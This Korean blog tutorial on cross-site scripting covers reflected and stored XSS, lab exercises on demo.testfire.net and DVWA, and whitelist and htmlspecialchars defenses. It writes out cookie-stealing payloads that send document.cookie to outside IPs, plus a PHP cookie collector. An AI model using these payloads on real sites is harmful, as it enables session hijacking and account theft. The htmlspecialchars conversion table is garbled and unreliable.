xss(cross site scripting) -크로스 사이트 스크립팅-
> xss는 접속한 사용자를 공격하는 웹 해킹 기법으로서
사이트안에 게시물 또는 댓글에 해커가 작성한 스크립트를 삽입시켜서
사용자의 권한 , 계정을 가로챌 수 있다.
css라는 이름이
이미 cascading style sheets 웹 스타일 시트라는 용어로 쓰이고 있기 때문에 다른 이름으로 쓰이게 된것이다.
xss의 종류는 크게 2가지로 나뉘는데
1.Reflected(non-persistent) XSS
2.Stored(Persistent , Second Orde) XSS
등이 있다. DOM(local) XSS도 있지만 여기선 다루지 않겠다.
Reflected XSS는 사용자의 입력데이터가 응답페이지에 적용되는 취약점을 의미한다.
즉 사용자 입력 값이 웹 화면에 바로 출력되는 형태의 취약점이라고 이해하면 된다.
관련 취약점을 검색하는 방식은
점검자가 입력부분(검색창 등)에 스크립트를 삽입해서
취약점을 찾을 수도 있다.
xss 취약점이 있는지 확인하기 위해 스크립트로 먼저 팝업 띄우기(alert)부터 시도한다.
만약 취약점이 발견되면 해커가 동작시키고자하는 스크립트를 삽입시킨다.
다음은 웹 취약점 테스트를 위해서 만든 모의해킹 사이트다.
http://demo.testfire.net/bank/main.aspx
위 사이트에 접속해서
<script>alert("Reflected XSS test")</script>
위 스크립트를 검색 창에 삽입하고 [Go] 버튼을 클릭하면
팝업이 실행되는데 이를 통해 Reflected XSS 취약점이 존재하는것을 확인할 수 있다.
해당 취약점을 이용하여 악의적인 사이트로 연결될 수 있다.
특정인에게 아래 url을 전달해주면 도메인의 앞부분만 읽고 demo 사이트구나 생각할 것이다.
하지만 그 뒤에 실제 다른 곳으로 이동되는 주소가 존재한다.
Stored XSS는 사용자의 입력데이터가 DB에 저장되고 , DB에서 해당 값을 읽어오는 경우
발생되는 취약점이다.
Stored xss 취약점이 존재하는 게시판에서
<script>alert("Reflected XSS test")</script>
위 스크립트를 삽입하고 저장하면 해당 서버 DB에 저장되며 ,
해당 글 보기 시 스크립트가 실행된다.
만약 XSS가 먹히는 게시판에 아래와 같은 스크립트를 추가시킨다면
<script>document.location="http://192.168.111.132/cookie.php?
cookie="+document.cookie;</script>
이 글을 본 사용자는 저 스크립트가 실행되어 쿠키 , 세션 탈취가 가능하게 된다.
물론 위 스크립트는 쿠키값을 저장시켜놓을 서버를 셋팅해줘야 한다.
실습으로 dvwa 웹 해킹 훈련장 방명록에 쿠키 탈취 스크립트를 삽입하여
칼리리눅스에 전달되도록 만들어보자. 절대 실제 운영중인 시스템에 함부로 시도하지 말 것!
방명록을 읽는순간 스크립트가 실행되어 사용자 쿠키값이 칼리 서버에게 전송된다.
칼리 웹서버는 받은 쿠키를 아래 php로 처리한다.
<?php
$cookie = $_GET['cookie'];
$savefile=fopen("data/cookie.txt","w");
fwrite($savefile,$cookie);
fclose($savefile);
header("Location: http://192.168.111.134/dvwa");
?>
사용자 쿠키값을 cookie.txt 파일로 저장하고 게시글을 쓰기 전 페이지로 이동시킨다.
칼리에서 실습시 cookie 파일이 저장되는 data 폴더와 실행되는 php는 소유 권한을
www-data로 변경해야 정상적인 실행이 가능하다. chown www-data f_name
특정 사용자가 접속하여 칼리에 쿠키가 저장되었다.
이제 저장된 쿠키값을 프록시를 통해 Cookie 헤더에 셋팅하고 Forward하면 해당 사용자로 로그인 인증된다.
위 결과는 단순히 쿠키 전달 과정을 이해하라고 넣은 것이며
실제 dvwa 환경에서는 다르게 동작할 수 있다.
쿠키 탈취 연습은 demo.testfire.net 사이트에서 하는 것을 추천한다.
여태까지 <script> 태그만 사용했는데 해당 태그뿐 아니라
<IFRAME src="javascript:alert('xss')"></IFRAME>
< img src = "javascript:alert(" XSS");" >
<embed src="http://123.63.2.5:4444/cookie.asp?data='+document.cookie"
AllowScriptAccess="always"></embed>
위 처럼 여러 태그를 이용해서 XSS를 시도할 수 있다.
이러한 XSS를 방지하려면
꼭 필요한 태그만 쓰도록 하는것이다. 이를 화이트리스트라고 한다.
예전에는 블랙리스트 방식(막을 태그들을 일일이 등록)
을 했었지만 이는 너무 번거로운 일이다.
그래서 나온게
화이트리스트 방식인데
화이트리스트는 등록된 태그를 제외한 모든 태그는 허용하지 않는 방식이다.
또한 보안을 위해서 PHP라는 웹프로그래밍언어에서는
html코드로 인식할 수 없게 처리하기 위해서
htmlspecialchars 같은 함수를 사용하기도 한다.
※ htmlspecialchars
(다음과 같은 문자를 치환)
기호 | 변환코드 |
> | < |
< | > |
& | & |
" | " |
' | ' |
참고 서적 : 웹 모의해킹 및 시큐어코딩 진단가이드
'프로그래밍 > 웹' 카테고리의 다른 글
CSS(Cascading Style Sheet) 문법 (0) | 2019.06.18 |
---|---|
자바스크립트(javascript) 문법 모음 (0) | 2019.06.18 |
html 프레임을 이용해서 페이지분할하기 (0) | 2017.06.02 |
로그인 폼 작성 (0) | 2017.06.02 |
버튼으로 배경색과 글자색 바꾸기 (0) | 2017.06.02 |